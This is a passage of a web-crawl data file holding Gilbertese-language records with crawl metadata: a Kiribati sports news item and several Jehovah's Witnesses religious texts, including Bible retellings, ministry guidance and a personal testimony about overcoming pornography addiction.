aobitia n te knoc Kautu Temakei n tain anganakia kaniwangaia ke kinakia n aia kekeiaki ae rianako n aia tai ni kabvo ikekei. Kiribati e tuai roko n aia rekoti kaain aban nako tinanniku iaan ae teuana bukina a bon tuai raoi tau bobonga taabo n takakaro ke te gym are ena bon karaoaki iai aia kataneiai ae onoti. Te kouti ao taan rabakai iaon te takakaro ngaia ake ana bon uarokoia taan takakaro nakon aia kauaba I tinaniku.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/kiribatiupdates.com.ki\/2017\/10\/18\/e-uruaki-te-rekoti-n-te-u17-high-jump\/","date":"2018-01-17T14:49:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886946.21\/warc\/CC-MAIN-20180117142113-20180117162113-00094.warc.gz","language":"gil","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000091791152954}","num_words":192,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.204,"stopwords_ratio":0.354,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE TAUA-N-TANTANI\nTitiraki: N am iango, tera te bwaintangira ae moan te kakawaki ae e a tia n anganira te Atua?\nKibu: Io 3:16\nAnganako: E kabwarabwaraaki n Te Taua-n-Tantani aei bwa e aera te Atua ngke e kanakoa Iesu nako aon te aba bwa e na mate ibukira, ao arora ae ti kona iai ni kaota ara kakaitau n te bwaintangira anne.\nTERA ANA TAUTAEKA N UEA TE ATUA?\nTitiraki: [Kaota te turaeki.] Tera am kaeka nakon te titiraki aei? Ana Tautaeka n Uea te Atua bon te bwai teuana ae mena i nanom? tii te kaikonaki? ke te tautaeka ae mena i karawa?\nAnganako: E kabwarabwaraaki n te turaeki aei Ana Tautaeka n Uea te Atua ao kakawakina ibukim.\nTE BEEBA NI KAKAO IBUKIN TE KAURING\nAnganako: Ti kaoia aomata nako nakon te botaki ae rangi ni kakawaki aei. [Anganako te beeba ni kakao.] N Eberi 11, a na ikotaki aomata aika mirion ma mirion ni kabutaa te aonnaba ni kauringa maten Iesu, ao n ongoraea te kabwarabwara man te Baibara ae akea te karin iai ibukin arora ni kakabwaiaaki ni matena. E kaotaki i nanona te tai ao te tabo ae na boo iai. Ara kantaninga bwa e kona n reke rokom.\nKARAOA OIN AM MARORO\nKabonganai katoto akana a tia ni kaotaki ni karaoa iai oin am maroro n te mwakuri ni minita.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/maati-2017-mwb\/aron-te-maroro-n-te-mwakuri-ni-minita\/","date":"2018-01-16T16:36:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886437.0\/warc\/CC-MAIN-20180116144951-20180116164951-00149.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":225,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.418,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A kawara Barao Mote ma Aaron n tuangnga ana rongorongo te Atua aei: 'Ngkana ko aki kanakoia au aomata, N na karokoia naango nako aon te aba.' A a tikubara naango aika mwaitikurikuri n aia auti kaain Aikubita aika kaubwai ao aika maiu ni kainnano. E a buta aon te aba n te nango. Ma akea te nango n te aba ae Koten are a maeka iai tibun Iteraera. Ni moa man te kaaua n rekenikai aei ao a a tii rotaki iai kaain Aikubita. E bubutii Barao ni kangai: 'Bubutiia Iehova bwa e na kanakoia naango aikai. A a kona n nako ami aomata.' Ma ngke e a kanakoi naango Iehova, e a manga bita ana iango Barao. E na reke n ningai reireiani Barao?\nE taku Iehova: 'Ngkana e aki kanakoia au aomata Barao, ao a na aoraki ao ni mate aia man kaain Aikubita.' N te bong are imwina, a a mate maan, ma a aki mate aia man tibun Iteraera. E teimatoa n imanono Barao ao e aki kan ongo.\nImwina, e a tuanga Mote Iehova bwa e na oki nakoni Barao ao e na karerake te mannang. Ao a bitaki mannang n riki bwa bubun te tano n te ea ao e bwaka i aoia kaain Aikubita ni kabane. Ao a a riki bwa kinaka aika kammaraki i aoia ni kabane ma aia man. Ma e bon rawa naba Barao ni kanakoia tibun Iteraera.\nE kaokiia Mote ma Aaron Iehova nakoni Barao ma Ana rongorongo aei: 'Ko bon rawa naba ni kanakoia au aomata? E na bwaka te karau ae te aiti n ningabong i aon te aba.' N te bong are imwina, e a kabwakaa Iehova te karau ae te aiti ma te baa, ao te ai. Bon te bong ae buaka ae te kabanea ni korakora i aon Aikubita ae tuai man riiriki mangkoa. A bane ni mate kaai ma aroka ma a aki rotaki ake i Koten. E taku Barao: 'Bubutiia Iehova bwa e na katokia! Ao kam a kona n nako.' Ma ngke e a toki te karau ae te aiti ma te karau, ao e a bita naba ana iango Barao.\nE taku ngkanne Mote: 'A nang roko ngkai rokati ni kang nikirani baike a tiku imwin te karau ae te aiti.' A kang nikirani bwaai ni kabane ake i aoni kaai ma tawaana mirion ma mirion rokati. E bubutii ni kangai Barao: 'Butiia Iehova bwa e na kanakoia rokati aikai.' Ma imwini kanakoaia rokati iroun Iehova, e bon teimatoa naba n imanono Barao.\nE taku Iehova nakoni Mote: \"Arora baim nako karawa.\" Ao akea bwa e a rotongitong karawa. A aikoa kona n nora te aomata ke te bwai teuana kaain Aikubita i nanon tenibong. Ma tii tibun Iteraera ae e oota aia auti.\nE taku Barao nakoni Mote: 'Ko a kona n nako ma am aomata. Ma tii katikuia ami man ikai.' E taku Mote: 'Ti riai ni kairiia ara man bwa ti aonga n angakarea iai nakon Atuara.' E a rangi n un Barao ao e takarua ni kangai: 'Naako mai matau! Ngkana I a manga noriko ao N na tiringko.'\n\"Ane kam na manga ataa te kaokoro i marenan te aomata ae raoiroi ma te aomata ae buakaka, ao i marenan ane e toro iroun te Atua ma ane e aki toro irouna.\"—Maraki 3:18","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/4\/rekenikai-i-aikubita-4-9\/","date":"2018-01-23T22:03:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084892699.72\/warc\/CC-MAIN-20180123211127-20180123231127-00362.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":557,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.44,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"BUKINI KAKAWAKINA:\nTi kan teboki koraan te koaua ake ti uniki. (1Kor. 3:6) Ngkana ti boo ma te aomata ae kaota te kan ongora, e raoiroi bwa ti na katuka ara titiraki ae ti kona ni maroroakinna ngkana ti a manga oki. Aei are e na kaingaingaa te aomata ao ni kabebetea naba ara katauraoi ibukini manga okirana. Ngkana ti okiria, ti kona n tuangnga ae ti oki bwa ti na kaekaa te titiraki are ti tabekia n te tai ae nako.\nARONI KARAOANA:\nNgkana ko katauraoa am maroro nakon te auti teuana ma teuana, katauraoa naba te titiraki ae ko na kaekaa n okim are imwina. E kona ni kaineti nakon te bwai ae kaekaaki n te boki are ko anga. Ke e kona naba n ae te titiraki ae kaekaaki n teuana i buakon ara boki n reirei ae ko iangoia bwa ko na anganna ngkana ko oki.\nNgkana ko motika am maroro ma te aomata ae kaota te kan ongora, tuangnga ae ko kani manga maroro riki ma ngaia ao tabeka te titiraki ae ko a tia ni katauraoia ibukini manga okim. Ngkana e angaraoi, karekea te anga ae ko kona n reitaki iai ma ngaia.\nNgkana ko tuangnga te tai ae ko na oki iai, kakoroa bukina.\n—Mat. 5:37.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/tianuare-2016-mwb\/kaetieti-ibukin-te-botaki-tian25-31\/karekea-angani-manga-okiran-te-aomata\/","date":"2018-01-16T09:57:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886397.2\/warc\/CC-MAIN-20180116090056-20180116110056-00686.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":211,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.393,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E ANGAREIREI IESU N TE TEMBORA\nE a rangi ni kinaaki Iesu n ririki ake imwini bwabetitoana. A a tia I-Iutaia aika nga ma nga n nora ana kakai, ao e a butanako taekan ana mwakuri ni kabutaa te aba. A a bati ngkai aomata aika ukoukoria i Ierutarem n tain te Toa ae Umwanrianna.\nA rangi ni bati iango aika kakaokoro ibukin Iesu. A taku tabeman: \"Bon te aomata ae raoiroi.\" Ma a taku tabemwaang: \"E aki. E bureburea te aba.\" (Ioane 7:12) A a riki maningongo aika bati ni boong ake e moanaki iai te toa. Ma akea ae ninikoria n taetae ibukin Iesu i mataia aomata ibukina bwa a maakuia mataniwin te Aro n Iutaia.\nNgke e a boo i nukana te toa ao e a kaoti Iesu n te tembora. A bati aomata ake a mimi n aron ana angareirei ae rangi n nakoraoi. E aki irira aia kuura rabi, ngaia are a mimi I-Iutaia ao a taku: \"E kangaa n atai kanoan te Koroboki ae Tabu teuaei ngkai e aki reirei n ana kuura te Aro?\"—Ioane 7:15.\nE kabwarabwaraa Iesu ni kangai: \"Te reirei ae I anga bon tiaki au bwai, ma bon ana bwai teuare kanakomaiai. Ngkana iai ae e kan ira nanon te Atua, ao e na ataa te reirei aei bwa mairoun te Atua ke tao I taetae i bon irou.\" (Ioane 7:16, 17) A kaineti raoi ana angareirei Iesu ma ana Tua te Atua, ngaia are e riai n ataaki bwa e ukoukora neboan te Atua ao tiaki neboana.\nE taku ngkanne Iesu: \"E anganingkami te Tua Mote, tiaki ngaia? Ma akea temanna i buakomi ae ira nanon te Tua. E aera ngkai kam ukoukora kamateau?\" Iai tabeman iruwa i buakoia te koraki ake a roko man taabo tabeua ake a aki atai baika riki. E taraa n ae a aki kona ni kakoauaa ae iai aika a iangoa kamatean te tia reirei ae ai aron Iesu. Ngaia are a iangoia bwa iai te bwai ae kairua iroun Iesu ngkai e iangoa aei ao a taku: \"Iai te taimonio iroum. Antai ae ukoukora kamateam?\"—Ioane 7:19, 20.\nNi koauana, teuana ma te iterana te ririki n nako ao a kani kamatea Iesu mataniwin te Aro n Iutaia ngke e kamarurunga te mwaane n te bongi n Taabati. Ngaia are e a kamanena ngkai te maroro ae kammwakura te iango ao ni kaotaraea iai aia iango n nanobaba. E kaira aia iango nakon te koaua are e riai i aan te Tua korotobibian te teei ae te mwaane n ana kawanibong, e ngae naba ngkana n te bongi n Taabati. Imwina e a titiraki ni kangai: \"Ngkana ngaia bwa e korotobibiaki te aomata n te bongi n taabati bwa e aonga n aki uruaki te Tua Rinanoni Mote, ao e aera ngkai kam rangi n un irou ngkai I kamarurunga te aomata n te bongi n taabati? Katoka te motikitaeka man taraakin tinanikun te bwai, ma motikitaeka n te eti.\"—Ioane 7:23, 24.\nA taku kaain Ierutarem ake a atai baika riki: \"Aio teuare a ukoukoria [taani kairiri] bwa a na kamatea, tiaki ngaia? Ao noria! e taetae i buakon te koraki ao akea te bwai ae a taekinna nakoina. Te koaua bwa a kona taani kairiri n taku bwa bon te Kristo ngaia?\" Bukin tera ngkai a aki kakoauaa aomata bwa Iesu bon te Kristo? A taku: \"Ti ataa te tabo ae e nako mai iai te aomata aei, ma ngkana e roko te Kristo, ao akea ae e na ataa te tabo ae nako mai iai.\"—Ioane 7:25-27.\nNgke a mena n te tembora ao e a kaekaia Iesu ni kangai: \"Kam ataai ao kam ataa ike I nako mai iai. Ao I aki nakomai i bon irou, ma e boni koaua Teuare kanakomaiai, ao kam aki ataia bwa antai. I ataa ngai teuarei, ibukina bwa I tei ibukina, ao boni Ngaia ae kanakomaiai.\" (Ioane 7:28, 29) Ni kaekaan te taetae ae mataata raoi aei, ao iai ake a iangoa tauan Iesu bwa a na kamatawarikia ke a na kamatea. Ma a aki kona ibukina bwa e tuai n roko ana tai ni mate.\nE ngae n anne, a a bati ake a onimakina Iesu n aron ae a bon riai ni karaoia. E a tia n nakonako i aon te ran, e katoka te angibuaka, e kaamwarakeia nga ma nga aomata n tabeua kariki ma iika n te aro ni kakai, e kamarurungia aoraki, e kanakonakoia mwauku, e kaurei mataia mataki, e kamarurungia rebera, ao e kautiia naba maate. Eng, iai bukina ae raoiroi ngkai a titiraki ni kangai: \"Ngkana e roko te Kristo, e koaua bwa e na boni karaoi mwakuri aika kamimi aika bati riki nakon teuaei?\"—Ioane 7:31.\nNgke a ongo Baritaio bwa a taekini baikai te koraki, ao a kanakoia bureitiman Baritaio ma mataniwi n ibonga bwa a na katika Iesu.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/iesu\/mwakuri-ni-minita-i-iutaia\/te-toa-ae-umwanrianna\/","date":"2018-01-22T20:56:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891539.71\/warc\/CC-MAIN-20180122193259-20180122213259-00575.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":800,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.441,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E BUNGIAKI N: 1953\nABANA: AOTITERIA\nARONA RIMOA: E TAUTORONAKI N TANGIRAN TE BWAITINGAKO\nAROU RIMOA:\nE mwaing tamau mai Tiaman nako Aotiteria n 1949. E roko bwa e na kakaaea ana mwakuri n te tabo are a kenaki iai baika kakawaki ao kambwana ake a karaoa te iti. E maeka n te kaawa ae uarereke i Victoria ao ikanne are e a mareaki iai ma tinau, ao I bungiaki n 1953.\nTii tabeua te ririki imwina ao e a reirei n te Baibara tinau ma kaain Ana tia Kakoaua Iehova, ngaia are a a riki ana reirei n te Baibara bwa bwaai aika I aki kona ni mwaninga man uarerekeu. Ma akea nanon tamau n taian Aro. E riki bwa te aomata ae iowawa, ao n tabare, ao e rangi ni mamaakua naba tinau. E kakarabaa tinau n reiakina te Baibara ao e a tangiri reirei akanne. Ngkana akea Tamau ao e titibwaa reireiana nakoiu ma mwaaneu. E tuangira taekan te aonnaba ae bwaretaiti n te tai ae imwaira ao arora ae ti na kukurei iai ngkana ti kakairi n ana kaetieti te Baibara ibukin te aroaro ni maiu ae riai.\nNgke ai 18 au ririki ao I a motikia bwa I a riai ni kitana te auti ibukin ana mwakuri n iowawa Tamau. E ngae ngke I kakoauaa te baere e reireinai Tinau man te Baibara, ma I aki tabe ma kakawakina. Ngaia are I kabwaka ni maiuakinna. I moana au mwakuri bwa te tia iti n te tabo ni keni kooro ao I mareaki ngke 20 au ririki. E bungiaki ara moannati ae te aine tenua te ririki imwina, ao I a manga iangoa riki te baere kakawaki ngkoa ni maiu. I ataia ae e kona n ibuobuoki te Baibara nakon au utu, ngaia are I a reirei n te Baibara ma temanna Ana tia Kakoaua Iehova. Ma e rangi ni kakaaitara kaainnabau nakoia taani Kakoaua. Ngke I kaea teuana aia botaki ao e a anga te kauring nakoiu kaainnabau, n aron ae N na katoka au reirei n te Baibara ke N na kitana au utu. I namakinna ae ai akea au anga, ngaia are I a ira nanona ao ni katoka reitakiu ma taani Kakoaua. I uringaaba imwina riki ni kabwakau n ira nanon te baere I bon ataia bwa e eti.\nN te bong teuana ao a a kaota nakoiu te bwaitingako raou ni mwakuri. E rangi ni katika te nano ao e kammaira naba, ao I namakinna ae I a taonakinako n te bure. N ururingan te baere I reiakinna n te Baibara ao I kakoauaa raoi bwa e na katuuaaeai te Atua. Ma ngke e a tata noran taamnei aika kammaira irou ao e a bitaki au iango ni kaineti ma te bwaitingako. Imwina riki ao I a tautoronaki n tangirana.\nI nanon 20 riki te ririki imwina ao I a beibetinako riki man te reirei are e kataia n reireinai tinau. A oti baike I iaiangoi man aroarou. E kamatauninga au taetae ao I a tatangiri manikangare aika kammaira. E a bitaki taraakin te wene n taanga irou. E ngae ngke I boni maeka ma kaainnabau ma iai naba aroarou ma aine riki tabeman. N te bong teuana ao I a tiroai n te kiraati ao I taku, 'I ribaiko.' E oneaki mwini karineau i bon irou nakon ribaakiu i bon irou.\nE a uruaki au mare ao e a rangi n rotakibuaka maiuu. Ao I a tataro nakon Iehova ma nanou ni kabane. I a manga reita au reirei n te Baibara e ngae ngke e a tia n toki i nanon uabwi te ririki. N te tai anne ao e a tia ni mate tamau, ao e a riki tinau bwa temanna Ana tia Kakoaua Iehova ae e a tia ni bwabetitoaki.\nARONI BITAKINI MAIUU MAN TE BAIBARA:\nE rangi ni bubura te kaokoro n aroaroni maiuu ma ana kaetieti te Baibara aika kakawaki. Ma n te tai aei, I a motinnanoa karekean te raunnano are e beritanna te Baibara. I katea tiau bwa N na kaitiaka au taetaenikawai ao ni katoka te kakaiun. I baireia naba bwa N na kaaki anuani maiuu aika aki riai, N na katoka te takaakaro ma te mwane, te koro ni manging, ao ai te kimoa mairoun au tia kammwakuri.\nA aki kona n ota raou ni mwakuri bwa bukin tera ngkai I kani karaoi bitaki aika bubura aikai. I nanon tenua te ririki ao a kakaunai bwa I aonga ni manga okiri arou ake rimoa. Ngkana I kabwaka teutana bwa tao I katiinakoa uniu ke I taetaebuaka, ao a a takarua naba ni ngareakinai ni kangai: \"Noria! E a manga okira arona Joe.\" Ai kammarakira taeka akanne! I aki toki n namakinna ae akea uaan au kekeiaki.\nE on au tabo ni mwakuri n taamnei aika bwaitingako ake a kaotaki rinanon te kaombiuta ao n taiani boki. A aki toki raou ni mwakuri n tibwai taamnei aika kammaira rinanon aia kaombiuta, n aron naba are I kakaraoia ngkoa. I kataia n tokanikai i aon tautoronakiu aei, ma a taraa n ae a kakorakoraia naba n iangoia bwa N na konaaki. I butiia te aomata are reirei ma ngai n te Baibara te ibuobuoki ao te kaunganano. E kakauongo raoi ngke I bunra nanou nakoina. E kabonganai kibun te Baibara aika kaineti raoi, ni kaota arou n tokanikai i aon te bwai are I tautoronaki n tangirana, ao e kaungaai bwa N na ukera ana ibuobuoki Iehova rinanon te tatataro.\nN te bong teuana ao I a ikotiia raou ni mwakuri. Ngke a a botaki ao I a tuangia bwa a na anga te biia nakoia uoman mwaane ake a a tia ni kaotia bwa a tautoronaki n tangiran te kamanging ae riao. A totokoa te iango anne ao a taku: \"Ko aki riai ni karaoa anne! A kabokorakora naakai ma te bwai ae a tautoronaki iai!\" I kaekaia ni kangai: \"Eng, ao ngai naba.\" Man te tai anne ao a a ota mwaane akanne n au kakorakora ni kaitaraa tautoronakiu n tangiran te bwaitingako, ao a aikoa manga kakaunai bwa N na okiri arou rimoa.\nImwina riki ao I a karekei ana ibuobuoki Iehova aika bati bwa N na tokanikai n tautoronakiu n tangiran te bwaitingako. N 1999 ao I a riki bwa temanna Ana tia Kakoaua Iehova ae e a tia ni bwabetitoaki. I kakaitau ngkai I kona n anganaki riki au tai bwa N na maiuakina te maiu ae itiaki ma ni kakukurei.\nI a ota bwa bukin tera ngkai e ribai Iehova baike I tatangiri ngkoa n te tai ae rangi ni maan. Ngkai bon te Tama ngaia ae tatangira, e kani kamanoai man te kangaanga ae kona n riki man te bwaitingako. Ai boni koauara taeka ake n Taeka N Rabakau 3:5, 6! E taekinaki iai ae kangai: \"Onimakina Iehova ma nanom ni kabane, ao tai onimakina oin am ataibwai. Ko na mutiakinna i nanoni kawaim ni kabane, ao e na kanakoraoa maium.\" E aki tii reke te kamanomano mani kaetieti man te Baibara ma e na boni karekea naba te kabwaia.\nAROU NI KAKABWAIAAKI:\nI rangi n ribaai ngkoa i bon irou, ma ngkai I a namakina karineau i bon irou ao te raunnano naba. I a maiuna te maiu ae itiaki ao I a namakina kabwaraan au bure iroun Iehova ao ana ibuobuoki. N 2000 ao I a mare ma Karolin, ae te tari te aine ae botonnaine ao e rangi n tangira naba Iehova n ai arou. E a riki mwengara bwa nnen te rau. Ti namakina te kakabwaiaaki ni koaua ngkai ti kaaina te botaki n itaritari ni Kristian ae tatangira ao ae e itiaki ni katobibia te aonnaba.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/te-taua-n-tantani-na4-2016-turai\/e-bati-konaakiu-imwain-ae-i-tokanikai\/","date":"2018-01-24T10:17:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084893629.85\/warc\/CC-MAIN-20180124090112-20180124110112-00359.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1275,"character_repetition_ratio":0.057,"word_repetition_ratio":0.005,"special_characters_ratio":0.224,"stopwords_ratio":0.468,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"IANGOA te bong ae moan te kakimwareirei iroum. Te bong are ko mare iai ke ngke e moani bungiaki natim? Ke te bong are ko kaota iai am katabu nakon Iehova ni bwabetitoakim? Tao ko bae n iangoa te bong anne bwa moan te kakawaki ao ni kakimwareirei iroum. Ao ai kukureira naba raom n te onimaki ngke ko a kaotia i mataia aomata bwa ko bon tangira te Atua ma nanom ni kabane, maium, am iango, ao korakoram!\nKo boni bae n namakina te kimwareirei ae bati n am beku iroun Iehova man te tai are ko bwabetitoaki iai. Ma iai tabeman taan tataekina te Tautaeka n Uea ake a a tia ni kabuaa kimwareireia are n te moantai. E aera bwa e riki aei? Baikara bukina aika ti kona iai n teimatoa ni beku iroun Iehova ma te kimwareirei?\nBUKINI BUANI KIMWAREIREIA TABEMAN\nE karekea kimwareireira rongorongon te Tautaeka n Uea ma te berita iai are e na waekoa Iehova ni katoka te waaki ae buakaka ae ngkai ao ni karokoa ana waaki ae boou i aon te aba. Irarikina, e karau nanora Tebania 1:14, (BG), ni kangai: \"E a kaan ana bong Iehova ae kakanato, e a kaan ao e bati ni waetata.\" Ma e kona te tataninga i nanon te tai ae maan nakon are ti kantaningaia, ni kabuaa kimwareireira are n te moantai ao ni kamamaaraira n ara beku iroun te Atua.\nE kona ara iraorao aika raraoi ma ana aomata te Atua, ni kauekei nanora ni kan teimatoa ni beku iroun Iehova ma te kimwareirei. Ni koauana, e bae n anaaki nanora nakon te taromauri ae koaua man aroaroia aika raraoi ana toro Iehova, ao e buokira bwa ti na moana ara beku iroun te Atua ma te kimwareirei. (1Bet. 2:12) Ma tera ae kona n riki ngkana e reireinaki ni kaetaki raora ni Kristian temanna ibukini kabwakana ni maiuakin ana kaetieti te Atua? Ngkana e riki anne, a kona ni bwara nanoia ao ni bua kimwareireia naake a katikaki nakon te koaua ibukin anuaia aika raraoi ana aomata Iehova.\nE kona naba ni kabuai kimwareireira aia waaki ni kanakorongorongo bitineti n ana waaki Tatan ae buakaka ae ngkai. E kabongana te Riaboro ana waaki i aon te aba bwa ti na kakoauaa ae ti kainnanoi bwaai aika ti bon aki kainnanoi. Ma ti karaoa ae riai ngkana ti uringi ana taeka Iesu aikai: \"Akea ae kona n toro irouia tooka aika uoman, bwa ane e na ribaa temanna ao e na tangira are temanna, ke e na kakaonimaki nakon temanna ao e na kakeaa bongan are temanna. Kam aki kona ni kaai n toro iroun te Atua ao te Kaubwai.\" (Mat. 6:24) Ti aki kona ni beku iroun Iehova ma te kimwareirei ao ni kataia naba ni karekei bwaai nako ake ti kona ni karekei n te aonnaba aei.\n'KAKATONGA IROUN ATUANI KAMAIUARA'\nE aki karawawata te beku iroun Iehova irouia naake a tangiria. (1Ioa. 5:3) Uringnga are e kangai Iesu: \"Nakomai nakoiu ngkami akana kam korakai ma n rawawata, ao N na motiki rawami. Amoa amou i aomi ao reirei irou bwa I nimamannei ao I nanorinano, ao e na kabebeteaki nanomi iai. Bwa e kamaiu amou ao e bebete uotau.\" (Mat. 11:28-30) E karekea te kabebeteaki ao te kimwareirei amoakin te amo ni Kristian ao te riki bwa te tia rimwini Kristo. Ao bon iai bukini kimwareireira ae bati n ara beku iroun Iehova. Ti na rinanoi ngkai bukina aika tenua aika kakawaki ae ti kona iai ni 'kakatonga iroun atuani kamaiuara.'\nTi beku iroun Atuara ae te tia Anga te Maiu, ae kukukurei. (Mwa. 17:28; 1Tim. 1:11) Ti ataia ae ti bae iroun ara tia Karikiriki ibukina bwa e karikira. Ngaia are ti teimatoa ni beku irouna ma te kimwareirei, n aki ongei mwaitin ririki ake a a tia n nako mai mwini bwabetitoakira.\nIangoa Héctor are beku iroun Iehova bwa te mataniwi ae mwamwananga i nanon 40 te ririki. E teimatoa ni maiureirei e ngae ngke e a \"boni kara.\" (TaiAre. 92:12-14, BG) E tiatianaki ana mwakuri Héctor ibukin te Atua n aorakini buuna, ma e aki kerikaaki iai kimwareireina. E taku: \"E ngae ngke I nanokawaki n nora aorakini buu bwa e a tabe ni kakaiaki riki ao e kangaanga tabeakinana, ma I aki kariaia anne bwa e na kabuaa kimwareireiu n au beku iroun te Atua ae koaua. Ataakin ae I bae ni maiuu iroun Iehova are iai bukini karikaia aomata irouna, ao anne bukina ae I riai n rangi n tangiria iai, ao ni beku irouna ma nanou ni kabane. I kekeiaki ni katabetabeai n te mwakuri n uarongorongo, ao I kataia naba ni kateimatoa moanibwaian te kantaninga ibukin te Tautaeka n Uea n au iango, bwa e aonga n aki bua kimwareireiu.\"\nE katauraoa Iehova te karea ni kaboomwi, ike ti a kona iai ni kimwareirei ni maiura. Ni koauana, \"e rangi n tangiriia kaain te aonnaba te Atua, n te aro are e a anga Natina ae te rikitemanna, bwa e aonga n aki kamaunaaki ane onimakinna, ma e na reke irouna te maiu are aki toki.\" (Ioa. 3:16) Eng, a kona ni kabwaraaki ara bure ao ti kona ni karekea te maiu are aki toki n onimakinan ana karea ni kaboomwi Iesu, are e katauraoia te Atua ibukin ana tangira. Tiaki bon anne bukina ae rangi n tamaroa ae ti na kakaitau iai? Ao tiaki e riai ni kairira ara kakaitau ibukin te kaboomwi bwa ti na beku iroun Iehova ma te kimwareirei?\nE taku te tari te mwaane i Mexico ae arana Jesús: \"I tautoronaki n au mwakuri ni kareketianti, ao n tabetai I mwakuri i nanon aoa aika rangi ni bati ni katoabong, e ngae ngke I bon aki riai ni karaoia. I karaoia ibukini karekean au mwane ae bati riki. Imwina ao I a reiakina taekan Iehova ao arona n anga Natina ae tangiria ibukia aomata. E a korakora nanou ni kani beku irouna. Ngaia are I a katabua maiuu nakon Iehova, ao I a motikia bwa N nang kitana te kambwana are I a tia ni mwakuri iai i nanon 28 te ririki, ao ni beku ni kabwanina au tai.\" Anne boni moanakin ririki aika rangi ni kakukurei n te beku iroun Iehova.\nE karekea te kimwareirei ae bati te uaa ae ti karikia ao e aki karawawata. Ko uringa aroni maium mai mwaina imwain ataakin Iehova? E kauringia Kristian ake i Rom te abotoro Bauro bwa a \"tautoronaki ngkoa n te bure\" ma a a riki bwa \"ana toro te raoiroi.\" A karika uaaia \"ae te itiaki,\" ae tokina te maiu are aki toki. (IRom 6:17-22) Ti kakairi naba ngaira n te aroaro ni maiu ae itiaki, ae akea iai te rawawata mani mwin te aroaro ni maiu ae kamwara ke ae iowawa. Ai kakimwareireira anne!\nIangoa aron Jaime ae taku bwa akea te atua ao a riki bwaai i bon irouia, ao e irekereke ma te itau. E a moanna Jaime n iriri botaki ni Kristian ao e anaaki nanona n te tangira are kaotiotaki iai. E riai Jaime ni bubutiia Iehova bwa e na buokia ni kakoauaa, bwa e aonga ni kitan arona ake rimoa. E taku Jaime: \"Teutana imwin teutana ao I a ataia bwa bon iai te Atua ae te Tama ae tatangira ao e nanoanga. E riki bwa kamanoau kawakinan ana kaetieti Iehova aika raraoi. Ngke arona bwa I aki bitaki ao N na bae n tia ni mate n aroia tabeman raoraou n itau rimoa. Ririki aika a rangi ni kakukurei ni maiuu, bon ake I beku iai iroun Iehova.\"\nTAI BWARANNANO!\nN am iango tera ae ti riai n namakinna ngkai ti kantaningaa tokin te waaki ae buakaka ae ngkai? Uringnga are ti \"ununiki ibukin te taamnei ae raoiroi\" ao ti na \"taia te maiu are aki toki.\" Ngaia are \"a na aki bwara nanora ni karaoan ae raoiroi, bwa ti na bon taia uaana n taina ae riai ngkana e aki bwara nanora.\" (IKar. 6:8, 9) Ti kona n nanomwaaka n ana ibuobuoki Iehova ao ni mwakuri korakora ni karikirakei aroaro aika kainnanoaki ibukin rekeni kamaiuara rinanon \"te rawawata ae korakora,\" ao n teimatoa ni beku iroun Iehova ma te kimwareirei, e ngae naba ngkana ti kaaitara ma kataaki.\nTi kona ni kakoauaa raoi bwa e na reke kaniwangara ibukin nanomwaakara, bwa e atai raoi ara mwakuri te Atua ao ara tangira ibukina ma arana. Ngkana ti teimatoa ni beku iroun Iehova ma te kimwareirei, ti na katotonga te tia areru ae Tawita are taku: \"I kaki Iehova i matau n aki toki: Ngkae E memena Iehova i angaataiu, ao 